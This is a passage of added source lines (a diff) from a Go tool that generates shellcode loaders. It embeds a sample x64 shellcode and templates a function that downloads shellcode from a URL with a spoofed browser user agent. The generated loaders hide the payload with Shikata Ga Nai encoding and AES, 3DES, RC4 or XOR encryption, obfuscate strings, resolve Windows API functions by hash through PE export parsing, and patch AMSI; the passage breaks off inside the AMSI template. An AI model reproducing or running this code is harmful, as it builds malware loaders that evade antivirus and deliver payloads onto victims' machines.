+ shellcode = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
+
+ } else if (strings.HasPrefix(input_file, "http")) && (errors.Is(input_err, os.ErrNotExist)) {
+
+ imports = utils.AppendSlice(imports, []string{"net/http", "io"}) // needed imports
+
+ Main.Vars["get_shellcode_from_url_func"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["sc_url"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["req"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["client"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["resp"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["b"] = utils.RandomString(utils.RandomInt(9,10))
+
+ get_shellcode_from_url_func = `
+func {{.Vars.get_shellcode_from_url_func}}({{.Vars.sc_url}} string) ([]byte, error) {
+ {{.Vars.req}}, {{.Vars.err}} := http.NewRequest("GET", {{.Vars.sc_url}}, nil)
+ if {{.Vars.err}} != nil {
+ return nil, {{.Vars.err}}
+ }
+
+ {{.Vars.req}}.Header.Set("Accept", "application/x-www-form-urlencoded")
+ {{.Vars.req}}.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36")
+
+ {{.Vars.client}} := &http.Client{}
+ {{.Vars.resp}}, {{.Vars.err}} := {{.Vars.client}}.Do({{.Vars.req}})
+ if {{.Vars.err}} != nil {
+ return nil, {{.Vars.err}}
+ }
+ defer {{.Vars.resp}}.Body.Close()
+
+ {{.Vars.b}}, {{.Vars.err}} := io.ReadAll({{.Vars.resp}}.Body)
+ if {{.Vars.err}} != nil {
+ return nil, {{.Vars.err}}
+ }
+
+ return {{.Vars.b}}, nil
+}
+`
+
+ // append previous functions
+ functions = utils.AppendString(functions, ParseTemplate(get_shellcode_from_url_func, Main))
+ }
+
+ if (sgn) {
+ fmt.Println(" > Obfuscating shellcode with Shikata Ga Nai")
+ time.Sleep(100 * time.Millisecond)
+
+ sgn_shellcode, err := ShikataGaNai(shellcode)
+ if err != nil {
+ fmt.Println(" > An error has ocurred while obfuscating shellcode, using provided shellcode")
+ } else {
+ shellcode = sgn_shellcode
+ }
+ }
+
+ if (verbose) {
+ if (encrypt != "") && (strings.ToLower(encrypt) != "none") {
+ fmt.Println(" > Using " + strings.ToUpper(encrypt) + " to encrypt the shellcode")
+ } else {
+ fmt.Println(" > Shellcode encryption is currently disabled")
+ }
+ }
+
+ fmt.Println()
+ time.Sleep(100 * time.Millisecond)
+
+ if str_obfs {
+ // define variables
+ Main.Vars["caesar_encrypt_func"] = utils.RandomString(utils.RandomInt(9, 10))
+ Main.Vars["caesar_decrypt_func"] = utils.RandomString(utils.RandomInt(9, 10))
+ Main.Vars["plaintext"] = utils.RandomString(utils.RandomInt(8, 9))
+ Main.Vars["shift"] = utils.RandomString(utils.RandomInt(8, 9))
+ Main.Vars["ciphertext"] = utils.RandomString(utils.RandomInt(8, 9))
+ Main.Vars["char"] = utils.RandomString(utils.RandomInt(8, 9))
+
+ caesar_encrypt_func := `
+func {{.Vars.caesar_encrypt_func}}({{.Vars.plaintext}} string, {{.Vars.shift}} int) string {
+ {{.Vars.ciphertext}} := ""
+
+ for _, {{.Vars.char}} := range {{.Vars.plaintext}} {
+ if {{.Vars.char}} >= 'A' && {{.Vars.char}} <= 'Z' {
+ {{.Vars.ciphertext}} += string(({{.Vars.char}}-'A'+rune({{.Vars.shift}}))%26 + 'A')
+ } else if {{.Vars.char}} >= 'a' && {{.Vars.char}} <= 'z' {
+ {{.Vars.ciphertext}} += string(({{.Vars.char}}-'a'+rune({{.Vars.shift}}))%26 + 'a')
+ } else {
+ {{.Vars.ciphertext}} += string({{.Vars.char}})
+ }
+ }
+
+ return {{.Vars.ciphertext}}
+}
+`
+
+ caesar_decrypt_func := `
+func {{.Vars.caesar_decrypt_func}}({{.Vars.ciphertext}} string, {{.Vars.shift}} int) string {
+ return {{.Vars.caesar_encrypt_func}}({{.Vars.ciphertext}}, 26-{{.Vars.shift}})
+}
+`
+
+ // append previous functions
+ functions = utils.AppendString(functions, ParseTemplate(caesar_encrypt_func, Main))
+ functions = utils.AppendString(functions, ParseTemplate(caesar_decrypt_func, Main))
+ }
+
+ // Encrypt shellcode
+ var key []byte
+ var iv []byte
+ if (strings.ToLower(encrypt) == "aes") { // use AES encryption
+ key = []byte(utils.RandomString(32)) // generate 32 bytes random key
+ iv, err = utils.GenerateIV() // generate random IV
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ // encrypt shellcode
+ shellcode, err = utils.AESEncrypt(shellcode, iv, key)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ imports = utils.AppendSlice(imports, []string{"crypto/aes", "crypto/cipher", "errors"}) // needed imports
+
+ // define variables
+ Main.Vars["aes_decrypt_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["iv"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["key"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["block"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ecb"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["content"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["aes_pkcs5trimming_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["encrypt"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["decrypted"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["padding"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ciphertext"] = utils.RandomString(utils.RandomInt(9,10))
+
+ // define code using templates
+ aes_decrypt_func := `
+func {{.Vars.aes_decrypt_func}}({{.Vars.ciphertext}} []byte, {{.Vars.iv}} []byte, {{.Vars.key}} []byte) ([]byte, error) {
+ {{.Vars.block}}, {{.Vars.err}} := aes.NewCipher({{.Vars.key}})
+ if {{.Vars.err}} != nil {
+ return nil, {{.Vars.err}}
+ }
+
+ if len({{.Vars.ciphertext}}) == 0 {
+ return nil, errors.New(` + ObfuscateStr("ciphertext cannot be empty", str_obfs) + `)
+ }
+
+ {{.Vars.ecb}} := cipher.NewCBCDecrypter({{.Vars.block}}, {{.Vars.iv}})
+ {{.Vars.decrypted}} := make([]byte, len({{.Vars.ciphertext}}))
+ {{.Vars.ecb}}.CryptBlocks({{.Vars.decrypted}}, {{.Vars.ciphertext}})
+
+ return {{.Vars.aes_pkcs5trimming_func}}({{.Vars.decrypted}}), nil
+}
+`
+
+ aes_pkcs5trimming_func := `
+func {{.Vars.aes_pkcs5trimming_func}}({{.Vars.encrypt}} []byte) []byte {
+ {{.Vars.padding}} := {{.Vars.encrypt}}[len({{.Vars.encrypt}})-1]
+ return {{.Vars.encrypt}}[:len({{.Vars.encrypt}})-int({{.Vars.padding}})]
+}
+`
+
+ // append previous functions
+ functions = utils.AppendString(functions, ParseTemplate(aes_decrypt_func, Main))
+ functions = utils.AppendString(functions, ParseTemplate(aes_pkcs5trimming_func, Main))
+
+ } else if (strings.ToLower(encrypt) == "3des") { // use 3DES encryption
+ key = []byte(utils.RandomString(24)) // generate 32 bytes random key
+ shellcode, err = utils.TripleDesEncrypt(shellcode, key) // encrypt shellcode
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ imports = utils.AppendSlice(imports, []string{"crypto/cipher", "crypto/des"}) // needed imports
+
+ // define variables
+ Main.Vars["tripledes_decrypt_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["data"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["key"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["block"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ciphertext"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["iv"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["origdata"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["decrypter"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["decrypted"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["tripledes_pkcs5trimming_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["encrypt"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["padding"] = utils.RandomString(utils.RandomInt(9,10))
+
+ // define code using templates
+ tripledes_decrypt_func := `
+func {{.Vars.tripledes_decrypt_func}}({{.Vars.data}}, {{.Vars.key}} []byte) ([]byte, error) {
+ {{.Vars.block}}, {{.Vars.err}} := des.NewTripleDESCipher({{.Vars.key}})
+ if {{.Vars.err}} != nil {
+ return nil, {{.Vars.err}}
+ }
+
+ {{.Vars.ciphertext}} := {{.Vars.key}}
+ {{.Vars.iv}} := {{.Vars.ciphertext}}[:des.BlockSize]
+
+ {{.Vars.decrypter}} := cipher.NewCBCDecrypter({{.Vars.block}}, {{.Vars.iv}})
+
+ {{.Vars.decrypted}} := make([]byte, len({{.Vars.data}}))
+ {{.Vars.decrypter}}.CryptBlocks({{.Vars.decrypted}}, {{.Vars.data}})
+ {{.Vars.decrypted}} = {{.Vars.tripledes_pkcs5trimming_func}}({{.Vars.decrypted}})
+
+ return {{.Vars.decrypted}}, nil
+}
+`
+
+ tripledes_pkcs5trimming_func := `
+func {{.Vars.tripledes_pkcs5trimming_func}}({{.Vars.encrypt}} []byte) []byte {
+ {{.Vars.padding}} := {{.Vars.encrypt}}[len({{.Vars.encrypt}})-1]
+ return {{.Vars.encrypt}}[:len({{.Vars.encrypt}})-int({{.Vars.padding}})]
+}
+`
+
+ // append previous functions
+ functions = utils.AppendString(functions, ParseTemplate(tripledes_decrypt_func, Main))
+ functions = utils.AppendString(functions, ParseTemplate(tripledes_pkcs5trimming_func, Main))
+
+ } else if (strings.ToLower(encrypt) == "rc4") { // use RC4 encryption
+ key = []byte(utils.RandomString(32)) // generate 32 bytes random key
+ shellcode, err = utils.Rc4Encrypt(shellcode, key) // encrypt shellcode
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ imports = utils.AppendString(imports, "crypto/rc4") // needed imports
+
+ // define variables
+ Main.Vars["rc4_decrypt_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["psk"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ciphertext"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["src"] = utils.RandomString(utils.RandomInt(9,10))
+
+ // define code using templates
+ rc4_decrypt_func := `
+func {{.Vars.rc4_decrypt_func}}({{.Vars.ciphertext}} []byte, {{.Vars.psk}} []byte) ([]byte, error) {
+ {{.Vars.r}}, {{.Vars.err}} := rc4.NewCipher({{.Vars.psk}})
+ if {{.Vars.err}} != nil {
+ return nil, {{.Vars.err}}
+ }
+
+ {{.Vars.src}} := make([]byte, len({{.Vars.ciphertext}}))
+ {{.Vars.r}}.XORKeyStream({{.Vars.src}}, []byte({{.Vars.ciphertext}}))
+ return {{.Vars.src}}, nil
+}
+`
+
+ // append previous functions
+ functions = utils.AppendString(functions, ParseTemplate(rc4_decrypt_func, Main))
+
+ } else if (strings.ToLower(encrypt) == "xor") { // use XOR encoding
+ key = []byte(utils.RandomString(24)) // generate 24 bytes random key
+ shellcode = utils.Xor(shellcode, key) // encode shellcode
+
+ // define variables
+ Main.Vars["xor_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["input"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["key"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["cipher"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["input"] = utils.RandomString(utils.RandomInt(9,10))
+
+ // define code using templates
+ xor_func := `
+func {{.Vars.xor_func}}({{.Vars.input}}, {{.Vars.key}} []byte) ({{.Vars.cipher}} []byte) {
+ for {{.Vars.i}} := 0; {{.Vars.i}} < len({{.Vars.input}}); {{.Vars.i}}++ {
+ {{.Vars.cipher}} = append({{.Vars.cipher}}, ({{.Vars.input}}[{{.Vars.i}}] ^ {{.Vars.key}}[{{.Vars.i}} % len({{.Vars.key}})]))
+ }
+
+ return {{.Vars.cipher}}
+}
+`
+
+ // append previous function
+ functions = utils.AppendString(functions, ParseTemplate(xor_func, Main))
+ }
+
+ // encoding logic ends here
+
+ fmt.Println("[*] Defining evasion techniques...")
+ time.Sleep(100 * time.Millisecond)
+
+ // define hashing algorithm
+ var hashing_func string
+ rand_num := utils.RandomInt(1,3)
+
+ if (hashing) {
+ if (verbose) {
+ fmt.Println(" > Adding hashing functions...")
+ }
+ time.Sleep(100 * time.Millisecond)
+
+ // define variables
+ Main.Vars["hashing_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["hash"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["str"] = utils.RandomString(utils.RandomInt(9,10))
+
+ if (rand_num == 1) { // use MD5 hashing
+ // algorithm is MD5
+ imports = utils.AppendSlice(imports, []string{"encoding/hex", "crypto/md5"})
+
+ hashing_func = `
+func {{.Vars.hashing_func}}({{.Vars.str}} string) string {
+ {{.Vars.hash}} := md5.Sum([]byte({{.Vars.str}}))
+ return hex.EncodeToString({{.Vars.hash}}[:])
+}
+`
+
+ } else if (rand_num == 2) { // use SHA1 hashing
+ // algorithm is SHA1
+ imports = utils.AppendSlice(imports, []string{"encoding/hex", "crypto/sha1"})
+
+ hashing_func = `
+func {{.Vars.hashing_func}}({{.Vars.str}} string) string {
+ {{.Vars.hash}} := sha1.Sum([]byte({{.Vars.str}}))
+ return hex.EncodeToString({{.Vars.hash}}[:])
+}
+`
+
+ } else if (rand_num == 3) { // use SHA256 hashing
+ // algorithm is SHA256
+ imports = utils.AppendSlice(imports, []string{"encoding/hex", "crypto/sha256"})
+
+ hashing_func = `
+func {{.Vars.hashing_func}}({{.Vars.str}} string) string {
+ {{.Vars.hash}} := sha256.Sum256([]byte({{.Vars.str}}))
+ return hex.EncodeToString({{.Vars.hash}}[:])
+}
+`
+ }
+
+ // define structs
+ export_struct := `
+type Export struct {
+ Ordinal uint32
+ Name string
+ VirtualAddress uint32
+ Forward string
+}
+`
+
+ export_dir_struct := `
+type ExportDirectory struct {
+ ExportFlags uint32
+ TimeDateStamp uint32
+ MajorVersion uint16
+ MinorVersion uint16
+ NameRVA uint32
+ OrdinalBase uint32
+ NumberOfFunctions uint32
+ NumberOfNames uint32
+ AddressTableAddr uint32
+ NameTableAddr uint32
+ OrdinalTableAddr uint32
+
+ DllName string
+}
+`
+
+ // append needed exports and imports
+ exports = utils.AppendSlice(exports, []string{export_struct, export_dir_struct})
+ imports = utils.AppendSlice(imports, []string{"debug/pe", "golang.org/x/sys/windows", "strings", "encoding/binary", "errors"})
+
+ // define variables
+ Main.Vars["get_func_ptr_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["get_string_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["dll"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["p"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["pe64"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ddLength"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["edd"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ds"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["s"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["d"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["exportDirOffset"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dxd"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dt"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ordinalTable"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dno"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dnn"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["n"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ord"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["nameRVA"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dna"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["exports"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ok"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["export"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["exp"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["section"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["start"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["end"] = utils.RandomString(utils.RandomInt(9,10))
+
+ // define code using templates
+ get_func_ptr_func := `
+func {{.Vars.get_func_ptr_func}}({{.Vars.hash}} string, {{.Vars.dll}} string, {{.Vars.hashing_func}} func({{.Vars.str}} string) string) (*windows.LazyProc, string, error) {
+ if (!strings.HasPrefix({{.Vars.dll}}, "C:\\")) {
+ {{.Vars.dll}} = ` + ObfuscateStr("C:\\Windows\\System32\\", str_obfs) + ` + {{.Vars.dll}}
+ }
+
+ {{.Vars.p}}, {{.Vars.err}} := pe.Open({{.Vars.dll}})
+ if {{.Vars.err}} != nil {
+ return &windows.LazyProc{}, "", {{.Vars.err}}
+ }
+ defer {{.Vars.p}}.Close()
+
+ {{.Vars.pe64}} := {{.Vars.p}}.Machine == 0x8664
+ var {{.Vars.ddLength}} uint32
+
+ if {{.Vars.pe64}} {
+ {{.Vars.ddLength}} = {{.Vars.p}}.OptionalHeader.(*pe.OptionalHeader64).NumberOfRvaAndSizes
+ } else {
+ {{.Vars.ddLength}} = {{.Vars.p}}.OptionalHeader.(*pe.OptionalHeader32).NumberOfRvaAndSizes
+ }
+
+ if {{.Vars.ddLength}} < pe.IMAGE_DIRECTORY_ENTRY_EXPORT+1 {
+ return &windows.LazyProc{}, "", errors.New(` + ObfuscateStr("error getting exports entries", str_obfs) + `)
+ }
+
+ var {{.Vars.edd}} pe.DataDirectory
+ if {{.Vars.pe64}} {
+ {{.Vars.edd}} = {{.Vars.p}}.OptionalHeader.(*pe.OptionalHeader64).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT]
+ } else {
+ {{.Vars.edd}} = {{.Vars.p}}.OptionalHeader.(*pe.OptionalHeader32).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT]
+ }
+
+ var {{.Vars.ds}} *pe.Section
+ {{.Vars.ds}} = nil
+ for _, {{.Vars.s}} := range {{.Vars.p}}.Sections {
+ if {{.Vars.s}}.VirtualAddress <= {{.Vars.edd}}.VirtualAddress && {{.Vars.edd}}.VirtualAddress < {{.Vars.s}}.VirtualAddress+{{.Vars.s}}.VirtualSize {
+ {{.Vars.ds}} = {{.Vars.s}}
+ break
+ }
+ }
+
+ if {{.Vars.ds}} == nil {
+ return &windows.LazyProc{}, "", errors.New(` + ObfuscateStr("no section was found", str_obfs) + `)
+ }
+
+ {{.Vars.d}}, {{.Vars.err}} := {{.Vars.ds}}.Data()
+ if {{.Vars.err}} != nil {
+ return &windows.LazyProc{}, "", {{.Vars.err}}
+ }
+
+ {{.Vars.exportDirOffset}} := {{.Vars.edd}}.VirtualAddress - {{.Vars.ds}}.VirtualAddress
+ {{.Vars.dxd}} := {{.Vars.d}}[{{.Vars.exportDirOffset}}:]
+
+ var {{.Vars.dt}} ExportDirectory
+ {{.Vars.dt}}.ExportFlags = binary.LittleEndian.Uint32({{.Vars.dxd}}[0:4])
+ {{.Vars.dt}}.TimeDateStamp = binary.LittleEndian.Uint32({{.Vars.dxd}}[4:8])
+ {{.Vars.dt}}.MajorVersion = binary.LittleEndian.Uint16({{.Vars.dxd}}[8:10])
+ {{.Vars.dt}}.MinorVersion = binary.LittleEndian.Uint16({{.Vars.dxd}}[10:12])
+ {{.Vars.dt}}.NameRVA = binary.LittleEndian.Uint32({{.Vars.dxd}}[12:16])
+ {{.Vars.dt}}.OrdinalBase = binary.LittleEndian.Uint32({{.Vars.dxd}}[16:20])
+ {{.Vars.dt}}.NumberOfFunctions = binary.LittleEndian.Uint32({{.Vars.dxd}}[20:24])
+ {{.Vars.dt}}.NumberOfNames = binary.LittleEndian.Uint32({{.Vars.dxd}}[24:28])
+ {{.Vars.dt}}.AddressTableAddr = binary.LittleEndian.Uint32({{.Vars.dxd}}[28:32])
+ {{.Vars.dt}}.NameTableAddr = binary.LittleEndian.Uint32({{.Vars.dxd}}[32:36])
+ {{.Vars.dt}}.OrdinalTableAddr = binary.LittleEndian.Uint32({{.Vars.dxd}}[36:40])
+
+ {{.Vars.dt}}.DllName, _ = {{.Vars.get_string_func}}({{.Vars.d}}, int({{.Vars.dt}}.NameRVA-{{.Vars.ds}}.VirtualAddress))
+
+ {{.Vars.ordinalTable}} := make(map[uint16]uint32)
+
+ if {{.Vars.dt}}.OrdinalTableAddr > {{.Vars.ds}}.VirtualAddress && {{.Vars.dt}}.NameTableAddr > {{.Vars.ds}}.VirtualAddress {
+ {{.Vars.dno}} := {{.Vars.d}}[{{.Vars.dt}}.OrdinalTableAddr-{{.Vars.ds}}.VirtualAddress:]
+ {{.Vars.dnn}} := {{.Vars.d}}[{{.Vars.dt}}.NameTableAddr-{{.Vars.ds}}.VirtualAddress:]
+
+ for {{.Vars.n}} := uint32(0); {{.Vars.n}} < {{.Vars.dt}}.NumberOfNames; {{.Vars.n}}++ {
+ {{.Vars.ord}} := binary.LittleEndian.Uint16({{.Vars.dno}}[{{.Vars.n}}*2 : ({{.Vars.n}}*2)+2])
+ {{.Vars.nameRVA}} := binary.LittleEndian.Uint32({{.Vars.dnn}}[{{.Vars.n}}*4 : ({{.Vars.n}}*4)+4])
+ {{.Vars.ordinalTable}}[{{.Vars.ord}}] = {{.Vars.nameRVA}}
+ }
+ {{.Vars.dno}} = nil
+ {{.Vars.dnn}} = nil
+ }
+
+ {{.Vars.dna}} := {{.Vars.d}}[{{.Vars.dt}}.AddressTableAddr-{{.Vars.ds}}.VirtualAddress:]
+
+ var {{.Vars.exports}} []Export
+ for {{.Vars.i}} := uint32(0); {{.Vars.i}} < {{.Vars.dt}}.NumberOfFunctions; {{.Vars.i}}++ {
+ var {{.Vars.export}} Export
+ {{.Vars.export}}.VirtualAddress = binary.LittleEndian.Uint32({{.Vars.dna}}[{{.Vars.i}}*4 : ({{.Vars.i}}*4)+4])
+ {{.Vars.export}}.Ordinal = {{.Vars.dt}}.OrdinalBase + {{.Vars.i}}
+
+ if {{.Vars.ds}}.VirtualAddress <= {{.Vars.export}}.VirtualAddress &&
+ {{.Vars.export}}.VirtualAddress < {{.Vars.ds}}.VirtualAddress+{{.Vars.ds}}.VirtualSize {
+ {{.Vars.export}}.Forward, _ = {{.Vars.get_string_func}}({{.Vars.d}}, int({{.Vars.export}}.VirtualAddress-{{.Vars.ds}}.VirtualAddress))
+ }
+
+ _, {{.Vars.ok}} := {{.Vars.ordinalTable}}[uint16({{.Vars.i}})]
+ if {{.Vars.ok}} {
+ {{.Vars.nameRVA}}, _ := {{.Vars.ordinalTable}}[uint16({{.Vars.i}})]
+ {{.Vars.export}}.Name, _ = {{.Vars.get_string_func}}({{.Vars.d}}, int({{.Vars.nameRVA}}-{{.Vars.ds}}.VirtualAddress))
+ }
+
+ {{.Vars.exports}} = append({{.Vars.exports}}, {{.Vars.export}})
+ }
+
+ for _, {{.Vars.exp}} := range {{.Vars.exports}} {
+ if {{.Vars.hash}} == {{.Vars.hashing_func}}({{.Vars.exp}}.Name) {
+ return windows.NewLazyDLL({{.Vars.dll}}).NewProc({{.Vars.exp}}.Name), {{.Vars.exp}}.Name, nil
+ }
+ }
+
+ return &windows.LazyProc{}, "", errors.New(` + ObfuscateStr("function not found", str_obfs) + `)
+}
+ `
+
+ get_string_func := `
+func {{.Vars.get_string_func}}({{.Vars.section}} []byte, {{.Vars.start}} int) (string, bool) {
+ if {{.Vars.start}} < 0 || {{.Vars.start}} >= len({{.Vars.section}}) {
+ return "", false
+ }
+
+ for {{.Vars.end}} := {{.Vars.start}}; {{.Vars.end}} < len({{.Vars.section}}); {{.Vars.end}}++ {
+ if {{.Vars.section}}[{{.Vars.end}}] == 0 {
+ return string({{.Vars.section}}[{{.Vars.start}}:{{.Vars.end}}]), true
+ }
+ }
+
+ return "", false
+}
+`
+
+ // append previous functions
+ functions = utils.AppendString(functions, ParseTemplate(hashing_func, Main))
+ functions = utils.AppendString(functions, ParseTemplate(get_string_func, Main))
+ functions = utils.AppendString(functions, ParseTemplate(get_func_ptr_func, Main))
+ }
+
+ // add AMSI patch function to loader
+ if (!noamsi) {
+
+ if (verbose) {
+ fmt.Println(" > Adding AMSI patch...")
+ time.Sleep(100 * time.Millisecond)
+ }
+
+ // define variables
+ Main.Vars["amsi_patch_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["GetCurrentProcess"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtWriteVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["AmsiOpenSession"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["AmsiScanBuffer"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["amsi"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["patch"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["memPage"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["pHandle"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["addr"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["addr2"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars[""] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["numberOfBytesToProtect"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["baseAddress"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["amsi_patch"] = utils.RandomString(utils.RandomInt(9,10))
+
+ // append needed exports and imports
+ imports = utils.AppendSlice(imports, []string{"fmt", "golang.org/x/sys/windows", "unsafe"})
+
+ // define code using templates
+ amsi_patch_func := `
+func {{.Vars.amsi_patch_func}}() error {`
+
+ if (utils.RandomInt(1, 2) == 1) {
+ if (hashing) {
+ amsi_patch_func = amsi_patch_func + `
+ {{.Vars.GetCurrentProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetCurrentProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.NtWriteVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtWriteVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.AmsiOpenSession}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("AmsiOpenSession", rand_num)) + `, ` + ObfuscateStr("amsi.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ `
+ } else {
+ amsi_patch_func = amsi_patch_func + `
